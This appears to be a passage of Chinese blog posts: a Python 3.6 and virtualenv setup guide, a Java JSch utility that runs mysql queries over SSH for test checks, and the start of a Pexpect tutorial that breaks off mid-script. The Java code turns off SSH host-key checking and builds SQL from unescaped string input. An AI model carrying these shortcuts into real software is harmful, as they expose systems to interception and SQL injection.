<p><code>pyenv</code> 这是一个python 版本安装器, , 详情见<a href="(https://github.com/pyenv/pyenv)">官网说明</a>. 比如本文 Python3.6.1 可以使用该工具进行安装:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> pyenv install 3.6.1
</code></pre></div> </div>
</li>
<li>
<p>pyvenv</p>
<p>Python3.3 集成到标准库中的虚拟环境管理器, 放目的是将来替代 virtualenv (参考 <a href="https://www.python.org/dev/peps/pep-0405/">PEP405</a>), 但是不支持低版本的 Python, 当前功能不是非常完善.</p>
</li>
<li>
<p>virtualenv</p>
<p>本地新建目录, 将系统 Python 环境完整拷贝过来, 保持每个 python 环境的独立性.</p>
</li>
</ol>
<h3 id="32-virtualenv-使用介绍">3.2 virtualenv 使用介绍</h3>
<ul>
<li>首先, 安装 virtualenv</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>pip3 <span class="nb">install </span>virtualenv
</code></pre></div></div>
<ul>
<li>然后, 创建一个独立的 Python 环境, 给项目使用, 比如命名 great_python3_env</li>
</ul>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">virtualenv</span> <span class="n">great_python3_env</span>
<span class="n">Using</span> <span class="n">base</span> <span class="n">prefix</span> <span class="s">'/usr/local'</span>
<span class="n">New</span> <span class="n">python</span> <span class="n">executable</span> <span class="ow">in</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">admin</span><span class="o">/</span><span class="n">git</span><span class="o">/</span><span class="n">great_python3_env</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">python3</span><span class="p">.</span><span class="mi">6</span>
<span class="n">Also</span> <span class="n">creating</span> <span class="n">executable</span> <span class="ow">in</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">admin</span><span class="o">/</span><span class="n">git</span><span class="o">/</span><span class="n">great_python3_env</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">python</span>
<span class="n">Installing</span> <span class="n">setuptools</span><span class="p">,</span> <span class="n">pip</span><span class="p">,</span> <span class="n">wheel</span><span class="p">...</span><span class="n">done</span><span class="p">.</span>
</code></pre></div></div>
<p>如果不需要当前环境的包, 使用 <code class="language-plaintext highlighter-rouge">virtualenv nowamagic_venv --no-site-packages</code> 进行安装</p>
<ul>
<li>最后, 激活该环境, 也可以将如下命令添加到 <code>~/.bashrc</code> 或者 <code>~/.zshrc</code> 中</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">source </span>great_python3_env/bin/activate
<span class="o">(</span>great_python3_env<span class="o">)</span>
</code></pre></div></div>
<p>这样你就拥有了项目独立占用的 Python 环境, 由于刚才是 pip3 安装的 virtualenv, 因此生成的环境也是基于 Python3 的. 命令行测试如下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$which</span> python
~/git/great_python3_env/bin/python
</code></pre></div></div>
<p>可见 python 命令已经指向到了该环境中的 python, 同样, 该环境下使用 pip 命令安装, 也会安装到 <code>~/git/great_python3_env/lib/python3.6/site-packages/</code> 中.</p>
<h3 id="33-退出-virtualenv-环境">3.3 退出 virtualenv 环境</h3>
<p>使用 deactivate 退出当前环境</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>deactivate
</code></pre></div></div>
<h2 id="4-总结">4. 总结</h2>
<p>以上就是 Python 开发前的环境准备工作了, 简单整理如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># 1. 源码安装
</span><span class="n">mkdir</span> <span class="o">~/</span><span class="n">git</span> <span class="o">&&</span> <span class="n">cd</span> <span class="n">git</span>
<span class="n">wget</span> <span class="n">wget</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">www</span><span class="p">.</span><span class="n">python</span><span class="p">.</span><span class="n">org</span><span class="o">/</span><span class="n">ftp</span><span class="o">/</span><span class="n">python</span><span class="o">/</span><span class="mf">3.6</span><span class="p">.</span><span class="mi">1</span><span class="o">/</span><span class="n">Python</span><span class="o">-</span><span class="mf">3.6</span><span class="p">.</span><span class="mf">1.</span><span class="n">tgz</span>
<span class="n">tar</span> <span class="o">-</span><span class="n">zxvf</span> <span class="n">Python</span><span class="o">-</span><span class="mf">3.6</span><span class="p">.</span><span class="mf">1.</span><span class="n">tgz</span>
<span class="n">cd</span> <span class="n">Python</span><span class="o">-</span><span class="mf">3.6</span><span class="p">.</span><span class="mi">1</span>
<span class="p">.</span><span class="o">/</span><span class="n">configure</span> <span class="o">&&</span> <span class="n">make</span> <span class="o">&&</span> <span class="n">sudo</span> <span class="n">make</span> <span class="n">install</span>
<span class="c1"># 2. 手动安装 pip
</span><span class="n">wget</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">bootstrap</span><span class="p">.</span><span class="n">pypa</span><span class="p">.</span><span class="n">io</span><span class="o">/</span><span class="n">get</span><span class="o">-</span><span class="n">pip</span><span class="p">.</span><span class="n">py</span> <span class="o">&&</span> <span class="n">sudo</span> <span class="n">python</span> <span class="n">get</span><span class="o">-</span><span class="n">pip</span><span class="p">.</span><span class="n">py</span>
<span class="c1"># 3. 初始化 virtualenv 环境
</span><span class="n">sudo</span> <span class="n">pip3</span> <span class="n">install</span> <span class="n">virtualenv</span>
<span class="n">virtualenv</span> <span class="n">great_python3_env</span>
<span class="n">source</span> <span class="n">great_python3_env</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">activate</span>
<span class="c1"># 4. 添加到 .bashrc
</span><span class="n">echo</span> <span class="s">'source ~/git/great_python3_env/bin/activate'</span> <span class="o">>></span> <span class="o">~/</span><span class="p">.</span><span class="n">bashrc</span>
<span class="c1"># 5. 退出 virtualenv
</span><span class="n">deactivate</span>
</code></pre></div></div>
<h2 id="5-参考文档">5. 参考文档</h2>
<ol>
<li><a href="https://unsplash.com/search/key?photo=feXpdV001o4">Pic 原地址</a></li>
<li><a href="https://github.com/pyenv/pyenv">pyenv Github</a></li>
<li><a href="http://masnun.com/2016/04/10/python-pyenv-pyvenv-virtualenv-whats-the-difference.html">python-pyenv-pyvenv-virtualenv-whats-the-difference</a></li>
<li><a href="https://docs.python.org/3/library/venv.html">VENV 文档</a></li>
<li><a href="https://www.python.org/dev/peps/pep-0405/">PEP405</a></li>
<li><a href="https://www.reddit.com/r/learnpython/comments/4hsudz/pyvenv_vs_virtualenv/">pyvenv_vs_virtualenv</a></li>
</ol>
Java 登录 Linux 并执行命令
2016-10-26T00:00:00+00:00
http://fish267.github.io/2016/10/26/java-pexpect
<p>测试工程中验证数据表, 为了省事, 直接登录到 Linux 执行命令 <code>mysql -u -p xx -e 'select * from xx'</code> 获取输出的内容.
<!--more--></p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.alipay.liuqi.common.utils</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.jcraft.jsch.Channel</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.jcraft.jsch.ChannelExec</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.jcraft.jsch.JSch</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">com.jcraft.jsch.Session</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.commons.lang.StringUtils</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.apache.log4j.Logger</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.InputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.HashMap</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Properties</span><span class="o">;</span>
<span class="cm">/**
* DB 工具校验类
* Created by fish on 25/10/16 16:15 with IntelliJ IDEA.
*/</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">DBCheckUtil</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span> <span class="no">HOST</span> <span class="o">=</span> <span class="nc">ConfigUtil</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"SQL_SERVER"</span><span class="o">);</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span> <span class="no">USERNAME</span> <span class="o">=</span> <span class="nc">ConfigUtil</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"SQL_SERVER_USERNAME"</span><span class="o">);</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span> <span class="no">PASSWORD</span> <span class="o">=</span> <span class="nc">ConfigUtil</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"SQL_SERVER_PASSWD"</span><span class="o">);</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span> <span class="no">SQL_SELECT_TEMPLATE</span> <span class="o">=</span> <span class="nc">ConfigUtil</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"SQL_SELECT_TEMPLATE"</span><span class="o">);</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kt">int</span> <span class="no">PORT</span> <span class="o">=</span> <span class="mi">22</span><span class="o">;</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="nc">Session</span> <span class="n">session</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="nc">Channel</span> <span class="n">channel</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">Logger</span> <span class="n">logger</span> <span class="o">=</span> <span class="nc">Logger</span><span class="o">.</span><span class="na">getLogger</span><span class="o">(</span><span class="nc">DBCheckUtil</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
<span class="cm">/**
* 校验数据表元素
* <p>
* conditon 格式: camp_id=123&&iprole_id=456
* expectValue 格式: name=活动测试&&relation=exclusive
*
* @param tableName 数据表名
* @param condition 查询条件
* @param expectValue 期望条件
* @return boolean True || False
*/</span>
<span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">checkTable</span><span class="o">(</span><span class="nc">String</span> <span class="n">tableName</span><span class="o">,</span> <span class="nc">String</span> <span class="n">condition</span><span class="o">,</span> <span class="nc">String</span> <span class="n">expectValue</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// 解析condition, 拼装sql</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">conditionList</span> <span class="o">=</span> <span class="n">condition</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"&&"</span><span class="o">);</span>
<span class="nc">StringBuilder</span> <span class="n">sqlCondition</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">();</span>
<span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">conditionElement</span> <span class="o">:</span> <span class="n">conditionList</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">kv</span> <span class="o">=</span> <span class="n">conditionElement</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"="</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">key</span> <span class="o">=</span> <span class="n">kv</span><span class="o">[</span><span class="mi">0</span><span class="o">];</span>
<span class="nc">String</span> <span class="n">value</span> <span class="o">=</span> <span class="n">kv</span><span class="o">[</span><span class="mi">1</span><span class="o">];</span>
<span class="c1">// 不直接组合字符串, 是为了 camp_id=123, 否则就要写成 camp_id='123'</span>
<span class="n">sqlCondition</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"%s='%s' "</span><span class="o">,</span> <span class="n">key</span><span class="o">,</span> <span class="n">value</span><span class="o">));</span>
<span class="o">}</span>
<span class="nc">String</span> <span class="n">executeSQL</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="no">SQL_SELECT_TEMPLATE</span><span class="o">,</span> <span class="n">tableName</span><span class="o">,</span> <span class="n">sqlCondition</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
<span class="c1">// 解析期望值, 进行校验</span>
<span class="nc">HashMap</span><span class="o"><</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">></span> <span class="n">executeResult</span> <span class="o">=</span> <span class="n">getSQLExecuteResult</span><span class="o">(</span><span class="n">executeSQL</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(</span><span class="kc">null</span> <span class="o">!=</span> <span class="n">executeResult</span> <span class="o">&&</span> <span class="n">executeResult</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">())</span> <span class="o">{</span>
<span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">try</span> <span class="o">{</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">expectValueList</span> <span class="o">=</span> <span class="n">expectValue</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"&&"</span><span class="o">);</span>
<span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">expectValueElement</span> <span class="o">:</span> <span class="n">expectValueList</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">kv</span> <span class="o">=</span> <span class="n">expectValueElement</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"="</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">key</span> <span class="o">=</span> <span class="n">kv</span><span class="o">[</span><span class="mi">0</span><span class="o">];</span>
<span class="nc">String</span> <span class="n">value</span> <span class="o">=</span> <span class="n">kv</span><span class="o">[</span><span class="mi">1</span><span class="o">];</span>
<span class="c1">// 如果期望值与查询出的值不相等, 直接返回false</span>
<span class="k">if</span> <span class="o">(!</span><span class="nc">StringUtils</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">executeResult</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">key</span><span class="o">),</span> <span class="n">value</span><span class="o">))</span> <span class="o">{</span>
<span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
<span class="o">}</span>
<span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span>
<span class="cm">/**
* SQL 执行结果
* <p>
* 支持单行结果返回, 如果多行结果, 只取了第一行
*
* @param sql 查询语句
* @return 查询结果 k-v
*/</span>
<span class="kd">private</span> <span class="nc">HashMap</span><span class="o"><</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">></span> <span class="nf">getSQLExecuteResult</span><span class="o">(</span><span class="nc">String</span> <span class="n">sql</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">HashMap</span><span class="o"><</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">></span> <span class="n">resultMap</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o"><>();</span>
<span class="c1">// 拼装 Linux 命令</span>
<span class="nc">String</span> <span class="n">command</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="nc">ConfigUtil</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"SQL_SIT_COMMAND"</span><span class="o">),</span> <span class="n">sql</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">stringResult</span> <span class="o">=</span> <span class="n">executeCommand</span><span class="o">(</span><span class="n">command</span><span class="o">);</span>
<span class="c1">// 获取结果返回</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">stringResult</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(</span><span class="n">ret</span><span class="o">.</span><span class="na">length</span> <span class="o"><</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="s">"No content output! Please check sql."</span><span class="o">);</span>
<span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
<span class="o">}</span>
<span class="c1">// 将列名和内容组装到 hashmap 中</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">columnName</span> <span class="o">=</span> <span class="n">ret</span><span class="o">[</span><span class="mi">0</span><span class="o">].</span><span class="na">split</span><span class="o">(</span><span class="s">"\t"</span><span class="o">);</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">content</span> <span class="o">=</span> <span class="n">ret</span><span class="o">[</span><span class="mi">1</span><span class="o">].</span><span class="na">split</span><span class="o">(</span><span class="s">"\t"</span><span class="o">);</span>
<span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">columnName</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
<span class="n">resultMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">columnName</span><span class="o">[</span><span class="n">i</span><span class="o">],</span> <span class="n">content</span><span class="o">[</span><span class="n">i</span><span class="o">]);</span>
<span class="o">}</span>
<span class="n">logger</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="n">resultMap</span><span class="o">);</span>
<span class="k">return</span> <span class="n">resultMap</span><span class="o">;</span>
<span class="o">}</span>
<span class="cm">/**
* 初始化连接 Session 以及 channel
*
* @param host 服务器域名
* @param username 登录名
* @param passwd 登录密码
*/</span>
<span class="kd">private</span> <span class="kt">void</span> <span class="nf">initSSH</span><span class="o">(</span><span class="nc">String</span> <span class="n">host</span><span class="o">,</span> <span class="nc">String</span> <span class="n">username</span><span class="o">,</span> <span class="nc">String</span> <span class="n">passwd</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"Start logging on server: "</span> <span class="o">+</span> <span class="n">host</span><span class="o">);</span>
<span class="c1">//增加配置, 防止出现 UnknownHostKey Error</span>
<span class="nc">Properties</span> <span class="n">properties</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Properties</span><span class="o">();</span>
<span class="n">properties</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"StrictHostKeyChecking"</span><span class="o">,</span> <span class="s">"no"</span><span class="o">);</span>
<span class="nc">JSch</span> <span class="n">jSch</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JSch</span><span class="o">();</span>
<span class="n">session</span> <span class="o">=</span> <span class="n">jSch</span><span class="o">.</span><span class="na">getSession</span><span class="o">(</span><span class="n">username</span><span class="o">,</span> <span class="n">host</span><span class="o">,</span> <span class="no">PORT</span><span class="o">);</span>
<span class="n">session</span><span class="o">.</span><span class="na">setPassword</span><span class="o">(</span><span class="n">passwd</span><span class="o">);</span>
<span class="n">session</span><span class="o">.</span><span class="na">setConfig</span><span class="o">(</span><span class="n">properties</span><span class="o">);</span>
<span class="n">session</span><span class="o">.</span><span class="na">connect</span><span class="o">();</span>
<span class="n">channel</span> <span class="o">=</span> <span class="n">session</span><span class="o">.</span><span class="na">openChannel</span><span class="o">(</span><span class="s">"exec"</span><span class="o">);</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"Logging in server %s success!"</span><span class="o">,</span> <span class="n">host</span><span class="o">));</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="n">logger</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"Log in server %s error"</span><span class="o">,</span> <span class="n">host</span><span class="o">));</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="cm">/**
* 执行 Linux 命令
*
* @param command 待执行命令
* @return String 执行结果
*/</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="nf">executeCommand</span><span class="o">(</span><span class="nc">String</span> <span class="n">command</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// // init Session</span>
<span class="c1">// if (null == session || null == channel) {</span>
<span class="c1">// initSSH(HOST, USERNAME, PASSWORD);</span>
<span class="c1">// }</span>
<span class="n">initSSH</span><span class="o">(</span><span class="no">HOST</span><span class="o">,</span> <span class="no">USERNAME</span><span class="o">,</span> <span class="no">PASSWORD</span><span class="o">);</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">tmp</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">1024</span><span class="o">];</span>
<span class="c1">// 存放执行结果</span>
<span class="nc">StringBuilder</span> <span class="n">strBuffer</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">();</span>
<span class="c1">// 强制转换成 exec 类型的 channel</span>
<span class="nc">ChannelExec</span> <span class="n">channelExec</span> <span class="o">=</span> <span class="o">(</span><span class="nc">ChannelExec</span><span class="o">)</span> <span class="o">(</span><span class="n">channel</span><span class="o">);</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">logger</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"Start executing command %s"</span><span class="o">,</span> <span class="n">command</span><span class="o">));</span>
<span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="n">channelExec</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span>
<span class="nc">InputStream</span> <span class="n">errorStream</span> <span class="o">=</span> <span class="n">channelExec</span><span class="o">.</span><span class="na">getErrStream</span><span class="o">();</span>
<span class="c1">// 执行 linux 命令</span>
<span class="n">channelExec</span><span class="o">.</span><span class="na">setCommand</span><span class="o">(</span><span class="n">command</span><span class="o">);</span>
<span class="n">channelExec</span><span class="o">.</span><span class="na">connect</span><span class="o">();</span>
<span class="c1">// 获取执行结果</span>
<span class="k">while</span> <span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// Error output</span>
<span class="k">while</span> <span class="o">(</span><span class="n">errorStream</span><span class="o">.</span><span class="na">available</span><span class="o">()</span> <span class="o">></span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">errorStream</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">tmp</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">1024</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o"><</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
<span class="k">break</span><span class="o">;</span>
<span class="o">}</span>
<span class="n">strBuffer</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">tmp</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">i</span><span class="o">));</span>
<span class="n">logger</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="s">"Executing command : "</span> <span class="o">+</span> <span class="n">command</span> <span class="o">+</span> <span class="s">" error:"</span> <span class="o">+</span> <span class="n">strBuffer</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
<span class="o">}</span>
<span class="c1">// Standard Output</span>
<span class="k">while</span> <span class="o">(</span><span class="n">inputStream</span><span class="o">.</span><span class="na">available</span><span class="o">()</span> <span class="o">></span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">inputStream</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">tmp</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="mi">1024</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o"><</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
<span class="k">break</span><span class="o">;</span>
<span class="o">}</span>
<span class="n">strBuffer</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">tmp</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">i</span><span class="o">));</span>
<span class="o">}</span>
<span class="k">if</span> <span class="o">(</span><span class="n">channel</span><span class="o">.</span><span class="na">isClosed</span><span class="o">())</span> <span class="o">{</span>
<span class="k">break</span><span class="o">;</span>
<span class="o">}</span>
<span class="nc">Thread</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">100</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="n">logger</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"Executing command %s on server %s"</span><span class="o">,</span> <span class="n">command</span><span class="o">,</span> <span class="no">HOST</span><span class="o">));</span>
<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
<span class="c1">// 关闭 session 以及 channel 连接</span>
<span class="n">logger</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"Close connection from "</span> <span class="o">+</span> <span class="no">HOST</span><span class="o">);</span>
<span class="k">if</span> <span class="o">(</span><span class="kc">null</span> <span class="o">!=</span> <span class="n">channel</span><span class="o">)</span> <span class="o">{</span>
<span class="n">channel</span><span class="o">.</span><span class="na">disconnect</span><span class="o">();</span>
<span class="o">}</span>
<span class="k">if</span> <span class="o">(</span><span class="kc">null</span> <span class="o">!=</span> <span class="n">session</span><span class="o">)</span> <span class="o">{</span>
<span class="n">session</span><span class="o">.</span><span class="na">disconnect</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="nc">String</span> <span class="n">executeResult</span> <span class="o">=</span> <span class="n">strBuffer</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
<span class="n">logger</span><span class="o">.</span><span class="na">debug</span><span class="o">(</span><span class="s">"Execute result: "</span> <span class="o">+</span> <span class="n">executeResult</span><span class="o">);</span>
<span class="k">return</span> <span class="n">executeResult</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
Python 库 Pexpect
2016-10-10T00:00:00+00:00
http://fish267.github.io/2016/10/10/pexpect
<p>使用 Python3 编码时, 不可避免的会调用到系统命令, 一般会使用</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>os.open
os.system
subprocess.call
commands
</code></pre></div></div>
<p>常用的库, 如果涉及到登录到其他系统上操作某指令, 以前会撸一个 shell 脚本, 调用 <code>epxect xx.sh</code> 来执行.</p>
<p>在 <a href="https://book.douban.com/subject/11605108/">Violent Python</a> 书中发现作者用的是 Pexpect 库, 挺有意思的, 分享一下.</p>
<h2 id="1-简介">1. 简介</h2>
<p>Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块, 可以和 ssh、ftp、passwd、telnet 等命令行程序进行自动交互。</p>
<h4 id="安装">安装</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install pexpect
</code></pre></div></div>
<p>测试一下:</p>
<pre><code class="language-Python">>>> import pexpect
>>> pexpect.run('ls -a')
b'.\t..\ttest.py\r\n'
</code></pre>
<h2 id="2-使用">2. 使用</h2>
<p>pexpect 提供了两个类来调用系统命令 run() 和 spawn(), 推荐使用后者.</p>
<h3 id="21-run-函数">2.1 run() 函数</h3>
<p>如上面的测试例子, run()函数的输出和 <code>os.system()</code> 命令非常相似, 比较高级的是, <code>pexpect.run()</code> 能获得 sys.out 输出内容以及命令的退出状态</p>
<pre><code class="language-Python">>>> output, status = pexpect.run('ls /', withexitstatus=1)
>>> status
0
>>> output
b'Applications\t\t\tUsers\t\t\t\tdata\t\t\t\tinstaller.failurerequests......\r\n'
>>>
## 不存在的目录
>>> output, status = pexpect.run('ls /DirNotExits', withexitstatus=1)
>>> status
1
>>> output
b'ls: /DirNotExits: No such file or directory\r\n'
</code></pre>
<!--more-->
<h3 id="22-spawn-函数">2.2 spawn() 函数</h3>
<p>spawn 用来启动子程序, 可以良好的与用户进行命令交互, 写法与 expect shell 命令非常类似.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>child = pexpect.spawn() 开启子线程, 用来执行系统命令
child.expect(expect_words) 服务器返回的字符串, 支持正则表达式
child.sendline(cmd) 所登录的 server 执行 cmd, 类似 send
child.before 上一条命令的标准输出
</code></pre></div></div>
<p>比如下面的 ssh 登录脚本</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pexpect</span>
<span class="n">PROMPT</span> <span class="o">=</span> <span class="p">[</span><span class="s">'#'</span><span class="p">,</span> <span class="s">'>>>'</span><span class="p">,</span> <span class="s">'>'</span><span class="p">,</span> <span class="s">'\$'</span><span class="p">]</span>
